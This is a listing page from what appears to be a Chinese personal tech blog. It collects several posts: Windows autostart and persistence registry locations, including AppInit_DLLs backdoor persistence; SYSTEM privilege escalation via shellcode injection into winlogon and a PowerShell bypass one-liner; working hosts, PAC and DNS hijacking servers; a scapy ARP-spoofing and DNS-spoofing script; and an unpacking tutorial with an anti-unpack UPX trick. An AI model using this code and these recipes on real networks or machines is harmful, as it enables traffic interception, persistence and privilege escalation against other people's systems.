1.Load注册键HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load2.Userinit注册键这里能够使系统启动时自动初始化程序,通常该注册键下面有一个userinit.exe。这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit3.Explorer-Run注册键HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run4.RunServicesOnce注册键RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。RunServicesOnce注册键的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnceHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce5.RunServices注册键RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。RunServices的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServicesHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices6.RunOnce\Setup注册键RunOnce\Setup指定了用户登录之后运行的程序,它的位置是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup7.RunOnce注册键安装程序通常用RunOnce键自动运行程序,它的位置在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce、HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前。HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。如果是XP,你还需要检查一下:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx8.Run注册键Run是自动运行程序最常用的注册键,位置在:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。9.Windows Shell 系统接口位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon下面的Shell字符串类型键值中,基默认值为Explorer.exe,当然可能木马程序会在此加入自身并以木马参数的形式调用资源管理器,以达到欺骗用户的目的。10.常用的启动 系统配置文件Windows的配置文件,包括Win.ini、System.ini和wininit.ini文件也会加载一些自动运行的程序Win.ini文件在[windows]段下的“Run=”和“LOAD=”语句后面就可以直接加可执行程序,只要程序名称及路径写在“=”后面即可。System.ini文件默认[boot]段下“shell=”的语句为“shell=Explorer.exe”,启动的时候运行Windows外壳程序explorer.exe,黑客可将该句变成“shell=病毒文件名.exe。11.系统服务位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services,系统服务加载程序,其中netsvcs 是一组服务的集合(通过svchost 用来加载成组服务),不是单个的服务,具体哪些服务在 netsvcs 里,可以在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost右边的 netsvcs 值里查看,里面的不一定是当前都被加载了的,只是说它们若被加载都划归在 netsvcs 组里,其中哪些服务正运行着,可和服务里的相应服务状态对照着看。12.windows 通过AppInit加载任意dllwindows操作系统允许将用户提供的dll加载到所有的进程的内存空间中。该功能可以用来做后门持久化。有点类似于linux的ld_preload环境变量。在进程启动的时候,操作系统会将用户提供的dll加载。在设置该功能时,需要administrator权限。设置方法为修改注册表中两个选项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\WindowsHKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\WindowsNT\CurrentVersion\Windows微软默认阻止用户通过appinit功能去加载未知的dll。不过,可以通过修改注册表键值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Windows\LoadAppInit_DLLs为1去关闭该功能。将待加载的dll保存在Program Files文件夹,并且将AppInit_DLLs键值修改为待加载dll的路径,即可让所有windows进程都加载该dll。这是因为在“ AppInit_DLLs”注册表项中指定的DLL是由user32.dll加载的,几乎所有应用程序都使用该user32.dll。任务计划 (推荐)使用cmd注册任务计划当然也可以用Windows提供的API进行创建schtasks /change /tn "Adobe Acrobat Update Task" /disable //禁用名为Adobe Acrobat Update Task的计划任务 schtasks /change /tn GoogleUpdateTaskMachineCore /disable //禁用名为Adobe Acrobat Update Task的计划任务 schtasks /Change /TN "Adobe Acrobat Update Task" /enable //启用名为Adobe Acrobat Update Task的计划任务 schtasks /create /tn "restart" /ru SYSTEM /sc ONSTART /tr "E:\dataojo\commond\restart.bat" //创建计划任务 schtasks /delete /tn * /f //删除所有计划任务schtasks参数说明SCHTASKS /Create [/S system [/U username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime][/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] 描述: 允许管理员在本地或远程系统上创建计划任务。 参数列表: /S system 指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。 /U username 指定应在其中执行 SchTasks.exe 的用户上下文。 /P [password] 指定给定用户上下文的密码。如果省略则提示输入。 /RU username 指定任务在其下运行的“运行方式”用户帐户(用户上下文)。 对于系统帐户,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"。 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和 "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID。对这三个也都可用。 /RP [password] 指定“运行方式”用户的密码。要提示输入密码,值必须是 "*" 或无。 系统帐户会忽略该密码。必须和 /RU 或 /XML 开关一起使用。 /RU/XML /SC schedule 指定计划频率。 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier 改进计划类型以允许更好地控制计划重复 周期。有效值列于下面“修改者”部分中。 /D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 计划的 1 - 31 (某月中的日期)。通配符“*”指定所有日期。 /M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符 “*” 指定所有的月。 /I idletime 指定运行一个已计划的 ONIDLE 任务之前 要等待的空闲时间。 有效值范围: 1 到 999 分钟。 /TN taskname 指定唯一识别这个计划任务的名称。 /TR taskrun 指定在这个计划时间运行的程序的路径 和文件名。 例如: C:\windows\system32\calc.exe /ST starttime 指定运行任务的开始时间。 时间格式为 HH:mm (24 小时时间),例如 14:30 表示 2:30 PM。如果未指定 /ST,则默认值为 当前时间。/SC ONCE 必需有此选项。 /RI interval 用分钟指定重复间隔。这不适用于 计划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 如果已指定 /ET 或 /DU,则其默认值为 10 分钟。 /ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. /DU duration 指定运行任务的持续时间。 时间格式为 HH:mm。这不适用于 /ET 和 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 /V1 任务,如果已指定 /RI,则持续时间默认值为 1 小时。 /K 在结束时间或持续时间终止任务。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。 /SD startdate 指定运行任务的第一个日期。 格式为 yyyy/mm/dd。默认值为 当前日期。这不适用于计划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy/mm/dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。 /EC ChannelName 为 OnEvent 触发器指定事件通道。 /IT 仅有在 /RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的情况下才运行。 /NP 不储存任何密码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。 /Z 标记在最终运行完任务后删除任务。 /XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含 主体时单独使用 /RP。 /V1 创建 Vista 以前的平台可以看见的任务。 不兼容 /XML。 /F 如果指定的任务已经存在,则强制创建 任务并抑制警告。 /RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。 /DELAY delaytime 指定触发触发器后延迟任务运行的 等待时间。时间格式为 mmmm:ss。此选项仅对计划类型 ONSTART, ONLOGON, ONEVENT. /? 显示帮助消息。 描述 允许管理员创建、删除、查询、更改、运行和中止 本地或远程系统上的计划系统。替代 AT.exe。 参数列表 /Create 创建新计划任务。 /Delete 删除计划任务。 /Query 显示所有计划任务。 /Change 更改计划任务属性。 /Run 立即运行计划任务。 /End 中止当前正在运行的计划任务。 /? 显示帮助/用法。注册系统服务终端输入 instsrv ServiceName srvany.exe // 注册服务注册表找到这个 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ServiceName // 注册表找到服务然后在ServiceName 新建Parameters项里面新建 Application 存储的值是要运行的软件路径{cloud title="注册服务工具" type="lz" url="https://wws.lanzouj.com/iz8Ne085kufe" password=""/}
2022年07月19日
193 阅读
0 评论
26 点赞
2022-07-18
【技术分享】Windows 提权方式总结
简介Windows 的用户都能使用 Administrator 用户的管理员权限,也即为最高,但这并非是 Windows 最高权限,高权限而是 System 权限。如果能提升权限到 System 权限就能操作的越多,写游戏辅助的时候也能做到一些反检测,比如:游戏权限低无法检测高权限,有的进程 CE 打开是没有图标的,这个时候可以用 System 权限就能看到进程图标。提权方法:提权的方式有很多种,今天都讲下也算是科普了。Winlogin 提权这种办法可以写 ShellCode 远程线程注入的方式,注入到 Winlogin 进程中,因为它是唯一 拥有 system 权限并且能显示 GUI 的进程,也算是父进程带子进程实现了提权,这里我利用 CE 做演示。[ENABLE] GlobalAlloc(lengfeng, 800) // 分配全局内存分配后始终存在 label(xxx) // 定义一个标签跳到 xxx 里执行代码 lengfeng: push rdi sub rsp,20 mov rdx,5 mov rcx,xxx // 把 xxx内存地址移动到 rcx寄存器 call KERNEL32.WinExec // 调用 WinExec 执行 add Rsp,20 pop rdi ret xxx: db 'c:\windows\system32\cmd.exe', 0 // 这里可以改成你的软件路径 createthread(lengfeng) // 远程创建线程执行lengfeng里的汇编指令 [DISABLE] dealloc(lengfeng) // 释放先前分配的内存Powershell 提权powershell -ep bypass "Install-Module -Name NtObjectManager;start-Win32ChildProcess cmd"这种办法有利也有弊自己发现吧,只要以管理员身份启动 Powershell 运行以上命令,安装后即可提权。默认 y 完成后会弹出一个新的终端,输入 whoami 可以看出是 System 权限。
2022年07月18日
216 阅读
0 评论
53 点赞
2022-07-11
【每日随记】HTTPS 域名劫持跳转实验
简介本地劫持指的是通过修改电脑或设备的网络设置,将某个域名解析到指定的目标网站或服务器上,这样,当用户访问这个域名时,会自动跳转到事先设定的网站。这种行为可以用来重定向流量、欺骗用户或进行网络攻击。简单来说,就是别人访问某个网址,实际看到的页面是你控制的,达到了特定的目的,这就是域名劫持。hosts劫持修改 hosts 文件,添加对应的IP和自定义域名解析。通过 ping 命令验证,域名已经解析到指定的内网IP地址,能够正常访问。但当通过浏览器访问自定义的域名时,发现访问失败(可能是因为 hosts 只能指定内网IP,公网访问时无法生效)。根据我发现,一些私服游戏使用 hosts 文件来实现劫持,可以直接访问。现在的问题是,我们想通过 hosts 文件来访问并跳转到指定的网站。可以这样做:既然已经有权限修改 hosts 文件,为什么不在本地启动一个运行在 80 端口的服务?然后,通过前端的 JS 脚本,自动跳转到指定的网站。优点:操作简单,不需要额外的服务器可以在本地启动服务,直接访问指定的 HTTP 网站缺点:网址会变成内网IP,用户访问体验稍微受影响只能访问 HTTP 网站,无法支持 HTTPS 等加密协议C:\Windows\System32\drivers\etc\hosts # hosts文件路径WEB 服务Go代码package main import ( "net/http" ) func main() { content := "<script>location.href='http://news.sohu.com/';</script>" http.HandleFunc("/", func(rw http.ResponseWriter, r *http.Request) { rw.Write([]byte(content)) }) http.ListenAndServe("0.0.0.0:80", nil) }Python代码from flask import * app = Flask(__name__) @app.route("/", methods=["GET"]) def Jump(): return '<script>location.href="http://news.sohu.com/";</script>' if __name__ == "__main__": app.run(host="0.0.0.0", port=80)PAC代理劫持PAC代理劫持非常简单,它利用浏览器的过滤规则来拦截指定的请求。这个方法只支持 HTTP 请求,需要服务器,但也可以不用服务器。实现方法:利用PAC脚本,可以在浏览器中设置代理,远程或本地修改劫持的链接。如果使用本地路径,虽然无法远程修改,但能够直接控制劫持的网址。优点:支持局域网和公网网址不会变,只是网页内容发生变化只有访问被过滤的网址时才会触发代理缺点:只能支持 HTTP 网站,无法处理 HTTPS 请求PAC脚本相关的详细文章可以参考: PAC脚本文章 PAC脚本function FindProxyForURL(url, host) { var HiJackList = [ '183.136.132.24', 'qytl.xiaohaibao.vip', 'qcsa.pktlsohu.com', ] for (i = 0; i < HiJackList.length; i++) { if (shExpMatch(host, HiJackList[i])) { return "PROXY 113.20.101.128:80;"; } } return "DIRECT" }现在的问题是,别人访问到服务器上的流量,但我希望将这些访问直接跳转到指定的页面,而网址不会改变。可以使用 Fiddler 这个抓包工具来实现重定向规则,将所有访问指定的网址的流量都重定向到目标网站。代理劫持操作上差不多,主要是通过Fiddler的重定向规则来实现,但需要一些额外的设置。实现方法:使用Fiddler来设置重定向规则,将所有通过服务器访问的流量转向到目标网站。为了支持HTTPS,需安装Fiddler的证书到客户端,才能让HTTPS流量也经过服务器进行重定向。通过注册表限制对特定键的修改操作。实现方法:使用 regini lock.ini 命令(需要管理员权限),可以将注册表某个项设置为只读状态,防止任何修改。这样即使尝试修改注册表,也不会生效,因为该项已被锁定为只读状态。1 - Administrators 完全访问 2 - Administrators 只读访问 3 - Administrators 读和写入访问 4 - Administrators 读、写入、删除访问 5 - Creator 完全访问 6 - Creator 读和写入访问 7 - everyone 完全访问 8 - everyone 只读访问 9 - everyone 读和写入访问 10 - everyone 读、写入、删除访问 11 - Power Users 完全访问 12 - Power Users 读和写入访问 13 - Power Users 读、写入、删除访问 14 - System Operators 完全访问 15 - System Operators 读和写入访问 16 - System Operators 读、写入、删除访问 17 - System 完全访问 18 - System 读和写入访问 19 - System 只读访问 20 - Administrators 读、写、执行访问 21 - Interactive User 完全访问 22 - Interactive User 读和写入访问 23 - Interactive User 读、写入、删除访问lock.ini 内容HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings [2 8 19]本地劫持这个软件类似于Fiddler,可以在本地修改网站内容。用户可以通过安装插件来调用DLL文件,使用Go语言实现中间人功能。推荐网站:sunny 可以下载模块调用DLL实现,类似于Fiddler的功能,支持HTTPS和HTTP网站。使用视频教程: Bilibili视频教程 优点:支持修改HTTPS和HTTP的网站网址不会变,只是网页内容会发生变化缺点:暂无明显缺点,操作简单直观。DNS劫持可以在Windows Server上搭建一台DNS服务器,通过Go语言作为服务器部分处理DNS查询,Python作为查询库来解析没有的IP地址。实现方法:Go 负责接收DNS查询请求,并返回响应。Python 负责解析没有缓存的IP地址,比如通过外部API或其他方式获取无法直接解析的IP。启动DNS服务Go代码// Go 服务器 package main import ( "encoding/json" "fmt" "io/ioutil" "log" "net" "net/http" "strconv" "github.com/miekg/dns" ) var domainsToAddresses map[string]string = map[string]string{ "rtex.com.cn.": "103.30.201.118", "jameshfisher.com.": "103.30.201.118", "www.free-proxy.com.": "148.72.168.34", "us1.free-proxy.com.": "148.72.168.34", "us2.free-proxy.com.": "148.72.169.80", } type handler struct{} func (this *handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) { msg := dns.Msg{} msg.SetReply(r) switch r.Question[0].Qtype { case dns.TypeA: msg.Authoritative = true domain := msg.Question[0].Name address, ok := domainsToAddresses[domain] if !ok { url2 := "http://www.ac.cn/dns?domain=" + domain res, _ := http.Get(url2) resp, _ := ioutil.ReadAll(res.Body) fmt.Printf("%s", resp) type DIP struct { Domain string IP string } var dip DIP err := json.Unmarshal(resp, &dip) if err != nil { fmt.Println("error:", err) } domainsToAddresses[domain] = dip.IP address = dip.IP } log.Println("domain:\t", domain, address, ok) msg.Answer = append(msg.Answer, &dns.A{ Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60}, A: net.ParseIP(address), }) } fmt.Println("------------------------------------------------------") w.WriteMsg(&msg) } func main() { srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"} srv.Handler = &handler{} if err := srv.ListenAndServe(); err != nil { log.Fatalf("Failed to set udp listener %s\n", err.Error()) } }Python代码from flask import Flask, request, jsonify import socket app = Flask(__name__) @app.route('/', methods=['GET']) def hello_world(): d = { 'msg': '/dns?domain=xxx.xx' } return jsonify(d) pass @app.route('/dns', methods=['GET']) def dns(): domain = request.args.get('domain', "") rt = {} rt['domain'] = domain ip = '' if domain: try: ip = socket.gethostbyname(domain) except Exception as e: print(e) rt['error'] = str(e) pass rt['ip'] = ip return jsonify(rt) pass if __name__ == '__main__': app.run(debug=True)然后自定义dns地址就可以指定跳转了ARP欺骗ARP欺骗的原理很简单,就是伪装自己是网关,让所有的流量都通过你的机器。这样类似于Fiddler的过滤和修改原理,可以修改响应的数据并返回自定义的IP。实现方法:使用Kali Linux Python的scapy库来进行ARP欺骗。通过欺骗将流量引导到你的机器,然后进行修改和返回自定义的IP地址。效果:通过欺骗网关,所有的流量都会经过你的机器,可以进行HTTP请求的修改。可以修改HTTP响应,但目前仅支持HTTP,不支持HTTPS。优点:直接欺骗网关,能够控制所有流量可以动态修改返回的数据缺点:只能支持HTTP,无法处理HTTPS请求。Python代码from scapy.all import * import time p1 = Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1") for i in range(6000): sendp(p1) time.sleep(0.1)然后到服务打开这个服务,让流量成转发模式,不然对方就直接断网Python 过滤代码from scapy.all import * import sys # dns = IP()/UDP()/DNS(id,qr,opcode,rd,qd=DNSQR(qnname=dns_name), verbose=False) id标识 匹配请求与回应 qr 0表示查询报文 opcode 0表示标准查询 rd 1表示递归 def DNS_Spoof(data): try: # ip_fields = data.getlayer(IP).fields # udp_fields = data.getlayer(UDP).fields # dns_fields = data.getlayer(DNS).fields # print(ip_fields) # print(udp_fields) # print(dns_fields) req_domain = data[DNS].qd.qname print(str(req_domain).split("'")[1]) print(str(data[IP].src)) print(str(data[IP].src) == '192.168.31.135') print(str(req_domain) == 'www.baidu.com') if str(data[IP].src) == '192.168.31.135': # if str(req_domain).split("'")[1].find('baidu.com'): print(str(req_domain)) del (data[UDP].len) del (data[UDP].chksum) del (data[IP].len) del (data[IP].chksum) res = data.copy() res.FCfield = 2 res.src, res.dst = data.dst, data.src res[IP].src, res[IP].dst = data[IP].dst, data[IP].src res.sport, res.dport = data.dport, data.sport res[DNS].qr = 1 res[DNS].ra = 1 res[DNS].ancount = 1 res[DNS].an = DNSRR( rrname = req_domain, type = 'A', rclass = 'IN', ttl = 900, rdata = '220.220.220.220' ) sendp(res) else: print('不是目标主机') except Exception as e: print(e) def DNS_S(iface): sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface) if __name__ == '__main__': DNS_S('Realtek 8812BU Wireless LAN 802.11ac USB NIC')
2022年07月11日
417 阅读
0 评论
157 点赞
2022-06-18
【技术分享】Windows开启SSH服务
下载 OpenSSHGithub 下载地址安装ssh服务下载好后解压,以管理员省份运行 cmd,进入 OpenSSH-Win64 目录,输入以下命令:// 安装ssh服务 powershell -ExecutionPolicy Bypass -File install-sshd.ps1 // 开放22号端口 netsh advfirewall firewall add rule name=sshd dir=in action=allow protocol=TCP localport=22 // 设置sshd开机自启 sc config sshd start= auto // 开启sshd服务 net start sshd// 查看是否开启22号端口 netstat -ano | findstr :22// 通过ssh连接目标主机 ssh 用户名@IP地址 // 例如: ssh kali@192.168.100.129
2022年06月18日
22 阅读
0 评论
3 点赞
2022-06-11
【技术分享】逆向破解手动脱壳篇
简介首先了解下什么是壳,可以理解程序的正常代码是放在壳里的,当运行程序的时候代码执行流程,是先经过壳最终执行正常代码,一般来说加了壳的程序等于没什么用,因为程序运行后依然会释放真正的代码,打个比方:运行程序那么在内存中就还原了正常代码。ESP 定律脱壳这里用压缩壳进行演示,以下是 upx、aspack 工具脱壳与手动脱壳步骤。工具脱壳 - UPX可以发现程序加了 upx 压缩壳,工具也提示可以用 upx -d 命令进行脱壳。upx -d main.exe手动脱壳 - UPX打开 x64dbg 动态调试工具导入程序,它会自动定位到程序的原始入口点(Original Entry Point, OEP),可以看到有个 pushad ,用来把所有通用寄存器的值压入堆栈,就是那8个通用寄存器 EAX,EBX ... ,现在用 esp 定律进行脱壳。运行 F8 快捷键,运行到 pushad 下面,这时候光 esp 有红色。右键 esp 栈顶指针寄存器,选择 "在内存窗口转到",注意左下角内存区域窗口。在这内存里下硬件访问断点,这里我选择了 字节 也可以是其他,只要下了就行。这个时候按 F9 运行,这个时候就断下来了,这个时候只需要按 F8 步过,一直往下就能找到。然后用 x64dbg 自带的插件,scylla 进行脱壳,可以发现脱出 upx1 变成 upx0 那么就已经成功了。手动脱壳 - Aspack可以发现已经加了 aspack 壳,这种压缩壳也是可以用 esp 定律进行脱壳。用以上同样的方式进行脱壳,脱压缩壳通用是完全没有问题的。UPX变异壳只要把 55 50 58 21 改为 2E 62 73 73 那么对应的 ASCII UPX! 变为 .bss, 再用 UPX -d 就无法进行脱壳,只要是名称都可以在里面抹除的,不会影响到程序正常运行。
2022年06月11日
82 阅读
0 评论
3 点赞
2022-05-10
此内容被密码保护
加密文章,请前往内页查看详情
2022年05月10日
480 阅读
0 评论
48 点赞
1
2
3
4
5
0:00